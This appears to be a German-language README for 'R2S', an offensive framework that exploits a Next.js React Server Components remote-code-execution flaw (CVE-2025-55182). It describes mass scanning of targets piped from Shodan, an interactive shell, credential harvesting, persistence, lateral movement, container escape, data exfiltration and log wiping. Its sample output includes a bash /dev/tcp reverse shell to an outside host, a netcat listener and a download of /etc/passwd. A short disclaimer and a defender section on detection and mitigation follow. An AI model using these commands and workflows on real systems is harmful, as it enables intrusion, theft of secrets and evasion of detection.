🚀 R2S - Next.js RSC Exploit-Framework

📋 Übersicht

R2S ist ein umfassendes Exploitation- und Post-Exploitation-Framework, das auf die Next.js React Server Components Schwachstelle (CVE-2025-55182) abzielt. Es bietet eine interaktive Shell mit erweiterten Funktionen für Penetrationstests, darunter Dateiübertragung, Persistenz, Enumeration, Privilegienausweitungsprüfungen und mehr.

🎯 Hauptfähigkeiten

• ✅ Automatisierte Schwachstellensuche - Massenscan mehrerer Ziele
• ✅ Interaktive RCE-Shell - Zustandsbehaftete Befehlsausführung mit Verzeichnisnavigation
• ✅ HTTP-basierte Dateiübertragung - Hoch-/Herunterladen von Dateien ohne Base64-Beschränkungen
• ✅ Reverse-Shell-Automatisierung - Ausprobieren von über 25 verschiedenen Reverse-Shell-Payloads
• ✅ Erweiterte Enumeration - System-, Netzwerk-, Container- und Cloud-Metadaten
• ✅ Privilegienausweitung - Automatisierte Erkennung von Privesc-Vektoren
• ✅ Credential-Harvesting - Extrahieren von Passwörtern, Schlüsseln, Tokens und Geheimnissen
• ✅ Persistenzmechanismen - Zugriff über Neustarts hinweg aufrechterhalten
• ✅ Laterale Bewegung - Erkennen und Umschalten auf andere Hosts
• ✅ Container-Ausbruch - Prüfung auf Docker-/Kubernetes-Ausbruchsvektoren
• ✅ Datenextraktion - Extrahieren sensibler Dateien und Konfigurationen
• ✅ Stealth-Operationen - Logs löschen und Spuren verwischen

🔥 Features

🌐 Kern-Exploitation

• Massenscan mit Multithreading-Unterstützung
• Pipeline-Modus für Integration mit anderen Tools
• Automatische Schwachstellenerkennung für Next.js RSC
• Zustandsbehaftete interaktive Shell mit persistentem Arbeitsverzeichnis

📁 Dateioperationen

• HTTP-basierter Upload - Dateien per wget/curl zum Ziel übertragen
• HTTP-basierter Download - Dateien per POST-Anfrage extrahieren
• Keine Größenbeschränkungen - Funktioniert mit großen Dateien (im Gegensatz zu Base64-Methoden)
• Automatischer HTTP-Server - Startet/stoppt bei Bedarf

🔍 Aufklärung & Enumeration

• System-Enumeration - Betriebssystem, Kernel, Benutzer, Prozesse
• Netzwerkerkennung - Schnittstellen, Routen, ARP, DNS, lauschende Ports
• Container-Erkennung - Docker, Kubernetes, LXC-Identifikation
• Cloud-Metadaten - Extrahieren von AWS-, GCP-, Azure-Anmeldeinformationen
• Prozessspeicher-Dump - Geheimnisse aus laufenden Prozessen extrahieren
• Erkennung interessanter Dateien - SUID, beschreibbare Verzeichnisse, Backups, Konfigurationen

🔐 Credential-Harvesting

• Umgebungsvariablen (Passwörter, API-Schlüssel, Tokens)
• .env-Dateien und Konfigurationsdateien
• SSH-Private-Keys und authorized_keys
• Bash-Verlauf mit sensiblen Befehlen
• Datenbankdateien (SQLite, MySQL-Dumps)
• Cloud-Anmeldeinformationen (AWS, Azure, GCP)
• Git-Anmeldeinformationen und NPM-Tokens
• Browserdaten (Cookies, Login-Daten)
• Docker- und Kubernetes-Geheimnisse

⬆️ Privilegienausweitung

• SUID/SGID-Binärdateien erkennen
• Sudo-Berechtigungen enumerieren
• Beschreibbare Systemdateien (/etc/passwd, /etc/shadow)
• Docker-Socket-Zugriff prüfen
• Linux-Capabilities analysieren
• Kernel-Exploit-Vorschläge machen
• Cron-Job-Enumeration durchführen
• PATH-Hijacking-Möglichkeiten finden

🔄 Post-Exploitation

• Persistenzmechanismen - Cron-Jobs, .bashrc, systemd-Dienste
• Erweiterte Persistenz - LD_PRELOAD, systemd-Timer
• Port-Scanning - Interne Netzwerkerkundung
• Laterale Bewegung - SSH-Schlüsselerkennung, known_hosts-Analyse
• Container-Ausbruch - Prüfung privilegierter Container, Capability-Analyse
• Datenextraktion - Automatisierte Sammlung sensibler Daten
• Reverse-Shell-Automatisierung - Über 25 Payload-Typen mit automatischem Wiederholungsversuch

🥷 Stealth & Tarnung

• Log-Bereinigung - Bash-Verlauf, Auth-Logs, Syslog
• Spuren verwischen - wtmp, lastlog-Bereinigung
• Sitzungsverwaltung - Sitzungen speichern und fortsetzen

🛠️ Installation

Voraussetzungen

# Python 3.6 oder höher
python3 --version

# Abhängigkeiten installieren
pip3 install requests urllib3

Schnellstart

# Tool klonen oder herunterladen
cd r2s-main

# Ausführbar machen (optional)
chmod +x r2s_enhanced.py

# Tool ausführen
python3 r2s_enhanced.py -h

🚀 Usage

Grundlegende Syntax

python3 r2s_enhanced.py [OPTIONEN]

Befehlszeilenoptionen

Eingabemethoden

1. Einzelnes Ziel

python3 r2s_enhanced.py -u http://target.com

2. Mehrere Ziele (Datei)

python3 r2s_enhanced.py -l targets.txt -t 50

3. Pipeline-Modus (stdin)

cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py

💻 Interactive Shell Commands

Sobald Sie RCE-Zugriff erhalten, gelangen Sie in eine interaktive Shell mit diesen Befehlen:

📂 Dateiübertragung

upload <lokale_datei> <entfernter_pfad>    # Datei zum Ziel hochladen
download <entfernte_datei> <lokaler_pfad>  # Datei vom Ziel herunterladen

🧭 Navigation

cd <verzeichnis>                           # Arbeitsverzeichnis wechseln
pwd                                        # Arbeitsverzeichnis anzeigen

🔍 Enumeration

enum                                       # Vollständige System-Enumeration
privesc                                    # Privilegienausweitungsprüfungen
harvest                                    # Credential-Harvesting
portscan <ip>                              # Interne Netzwerk-Ports scannen
memdump [pid]                              # Prozessspeicher für Geheimnisse auslesen

🎯 Post-Exploitation

lateral                                    # Möglichkeiten für laterale Bewegung
escape                                     # Container-Ausbruchsvektoren
exfil [typ]                                # Daten extrahieren (env/config/keys/db/logs/all)
reverse <lhost> <lport>                    # Mehrere Reverse-Shell-Payloads ausprobieren

🔒 Persistenz

persist                                    # Einfache Persistenz hinzufügen
advpersist                                 # Erweiterte Persistenz hinzufügen

🥷 Stealth

stealth                                    # Logs löschen und Spuren verwischen

💾 Sitzungsverwaltung

save                                       # Aktuelle Sitzung speichern
help, ?                                    # Hilfemeldung anzeigen
exit, quit                                 # Interaktive Shell beenden

🖥️ Systembefehle

Führen Sie jeden Shell-Befehl direkt aus:

whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd

📚 Examples

Beispiel 1: Grundlegende Exploitation

$ python3 r2s_enhanced.py -u http://vulnerable-app.com

    _   __          __  ____            
   / | / /__  _  __/ /_/ __ \________   
  /  |/ / _ \| |/_/ __/ /_/ / ___/ _ \  
 / /|  /  __/>  </_ _/ _, _/ /__/  __/  
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/   

   Next.js RSC Exploit Tool (CVE-2025-55182)
   Mass Scanner & Pipeline Edition (v4.1.0 - Enhanced)

   >> CREDIT( G4rxd )

[*] 1 Ziele geladen. Scan mit 30 Threads gestartet...
[*] Payload-Befehl: id

[VULN] http://vulnerable-app.com >>> RCE ERFOLG
       Ausgabe: uid=1000(node) gid=1000(node) groups=1000(node)

[+] Zustandsbehaftete interaktive RCE-Shell gestartet. Geben Sie 'help' ein, um Befehle zu sehen.
[*] Erweiterte Funktionen: enum, privesc, persist, portscan, harvest, stealth
[*] Neue Funktionen: memdump, lateral, escape, exfil, advpersist, reverse

[+] HTTP-Server gestartet auf 192.168.1.100:8000

next-rce:/app$

Beispiel 2: System-Enumeration

next-rce:/app$ enum

[*] Automatisierte Enumeration gestartet...

============================================================
[*] Systeminformationen
============================================================
Linux 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"

============================================================
[*] Aktueller Benutzer
============================================================
node
uid=1000(node) gid=1000(node) groups=1000(node),27(sudo)

============================================================
[*] Container-Erkennung
============================================================
12:devices:/docker/a1b2c3d4e5f6
11:cpuset:/docker/a1b2c3d4e5f6
[Docker-Container erkannt]

...

Beispiel 3: Dateiübertragung

# Datei hochladen
next-rce:/app$ upload /tmp/exploit.sh /var/tmp/exploit.sh
[*] Lade /tmp/exploit.sh (2048 Bytes) per HTTP hoch...
[+] Hochladen erfolgreich!
    -rwxr-xr-x 1 node node 2048 Dez 12 03:28 /var/tmp/exploit.sh

# Datei herunterladen
next-rce:/app$ download /etc/passwd ./passwd.txt
[*] Lade /etc/passwd per HTTP herunter...
[+] Download erfolgreich! (1523 Bytes)
    Gespeichert unter: ./passwd.txt

Beispiel 4: Credential-Harvesting

next-rce:/app$ harvest

[*] Sammle Anmeldeinformationen...

[*] Umgebungsvariablen:
DATABASE_PASSWORD=super_secret_pass
API_KEY=sk-1234567890abcdef
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

[*] .env-Dateien:
/app/.env
/app/.env.production
/var/www/.env.local

[*] SSH-Schlüssel:
/home/node/.ssh/id_rsa
/root/.ssh/id_rsa

...

Beispiel 5: Reverse-Shell

next-rce:/app$ reverse 192.168.1.100 4444

[*] Starte Reverse-Shell-Versuche zu 192.168.1.100:4444
[!] Stellen Sie sicher, dass ein Listener läuft: nc -lvnp 4444

[*] Versuche 25 verschiedene Reverse-Shell-Payloads...

[1/25] Versuche Bash TCP... ✓ Ausgeführt
[?] Haben Sie eine Verbindung erhalten? (y/n/s zum Beenden): y

[+] ERFOLG! Reverse-Shell hergestellt mittels: Bash TCP
[*] Payload: bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

Beispiel 6: Massenscan

$ cat targets.txt
http://app1.example.com
http://app2.example.com
http://app3.example.com

$ python3 r2s_enhanced.py -l targets.txt -t 50

[*] 3 Ziele geladen. Scan mit 50 Threads gestartet...

[VULN] http://app1.example.com >>> RCE ERFOLG
[VULN] http://app3.example.com >>> RCE ERFOLG

[*] Scan abgeschlossen.

Beispiel 7: Privilegienausweitungsprüfung

next-rce:/app$ privesc

[*] Prüfe Privilegienausweitungsvektoren...

[*] SUID-Binärdateien:
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

[*] Sudo-Berechtigungen:
Benutzer node darf die folgenden Befehle ausführen:
    (ALL : ALL) NOPASSWD: /usr/bin/docker

[*] Docker-Socket:
srw-rw---- 1 root docker 0 Dez 12 03:28 /var/run/docker.sock

[*] Docker-Gruppe:
In docker-Gruppe - AUSBEUTBAR!

...

Beispiel 8: Container-Ausbruch

next-rce:/app$ escape

[*] Prüfe Container-Ausbruchsvektoren...

[*] Containertyp:
12:devices:/docker/a1b2c3d4e5f6

[*] Privilegierter Container:
PRIVILEGIERT

[*] Docker-Socket:
srw-rw---- 1 root docker 0 Dez 12 03:28 /var/run/docker.sock

[*] Capabilities:
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
[Volle Capabilities - Container ist privilegiert]

...

🔧 Erweiterte Funktionen

Reverse-Shell-Payloads

Das Tool enthält über 25 Reverse-Shell-Payloads in mehreren Sprachen und Techniken:

• Bash (TCP, UDP, exec-Varianten)
• Netcat (traditionell, mkfifo, OpenBSD)
• Python/Python3 (Socket, Pty)
• Perl (mehrere Varianten)
• PHP (exec, system, passthru)
• Ruby (Socket-Varianten)
• Node.js (child_process, socket)
• Socat, Telnet, AWK
• Golang, OpenSSL

Cloud-Metadaten-Extraktion

Erkennt und extrahiert automatisch Anmeldeinformationen von:

• AWS - IAM-Rollen, Sicherheitsanmeldeinformationen
• GCP - Service-Account-Tokens
• Azure - Instanz-Metadaten
• Umgebungsvariablen mit Cloud-Anmeldeinformationen

Container-Erkennung

Identifiziert und analysiert:

• Docker-Container
• Kubernetes-Pods
• LXC-Container
• Privilegiert vs. nicht privilegiert
• Verfügbare Ausbruchsvektoren

⚠️ Rechtlicher Hinweis

NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS

Dieses Tool wird ausschließlich zu Bildungszwecken und für autorisierte Penetrationstests bereitgestellt. Die Verwendung dieses Tools zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.

Anforderungen für die rechtmäßige Nutzung:

• ✅ Schriftliche Genehmigung des Zielinhabers
• ✅ Definierter Umfang und Verhaltensregeln
• ✅ Professioneller Penetrationstest-Einsatz
• ❌ Unbefugter Zugriff auf Systeme
• ❌ Böswillige Absicht oder Schädigung

🛡️ Erkennung & Abwehr

Für Verteidiger

Erkennung:

• Überwachen Sie auf ungewöhnliche Next-Action-Header
• Achten Sie auf multipart/form-data POST-Anfragen an nicht vorhandene Endpunkte
• Prüfen Sie auf Base64-kodierte Befehlsausgaben in Fehlerantworten
• Überwachen Sie auf child_process.execSync in Next.js-Logs

Schadensbegrenzung:

• Aktualisieren Sie Next.js auf die neueste gepatchte Version
• Implementieren Sie Web Application Firewall (WAF)-Regeln
• Beschränken Sie die serverseitige Codeausführung
• Überwachen und protokollieren Sie alle RSC-Anfragen
• Implementieren Sie eine ordnungsgemäße Eingabevalidierung

📊 Versionsgeschichte

v4.1.0 (aktuell) - Erweiterte Edition

• ✅ Reverse-Shell-Automatisierung hinzugefügt (25+ Payloads)
• ✅ Speicher-Dump-Funktionen hinzugefügt
• ✅ Erkennung lateraler Bewegung hinzugefügt
• ✅ Container-Ausbruchsprüfungen hinzugefügt
• ✅ Automatisierung der Datenextraktion hinzugefügt
• ✅ Erweiterte Persistenzmechanismen hinzugefügt
• ✅ Verbesserter HTTP-Dateitransfer
• ✅ Verbesserte Enumeration-Funktionen
• ✅ Bessere Fehlerbehandlung und Benutzererfahrung

v4.0.0 - Post-Exploitation-Framework

• ✅ HTTP-basierter Dateitransfer
• ✅ Persistenzmechanismen
• ✅ Port-Scanner
• ✅ Privilegienausweitungsprüfungen
• ✅ Netzwerk-Enumeration
• ✅ Credential-Harvesting
• ✅ Sitzungsverwaltung
• ✅ Automatisierte Enumeration
• ✅ Stealth-Funktionen

v3.0.0 - Interaktive Shell

• Zustandsbehaftete Shell mit Verzeichnisnavigation
• Einfacher Dateitransfer (Base64)
• Verbesserte Fehlerbehandlung

🤝 Mitwirken

Beiträge sind willkommen! Bitte stellen Sie sicher, dass alle Beiträge ausschließlich zu Bildungs- und Verteidigungszwecken dienen.

👨‍💻 Autor

G4rxd

🙏 Danksagungen

• CVE-2025-55182 Entdeckungsteam
• Next.js Security Research Community
• Open Source Security Tools Community

📄 Lizenz

Dieses Projekt ist lizenziert nur für Bildungszwecke und autorisierte Tests.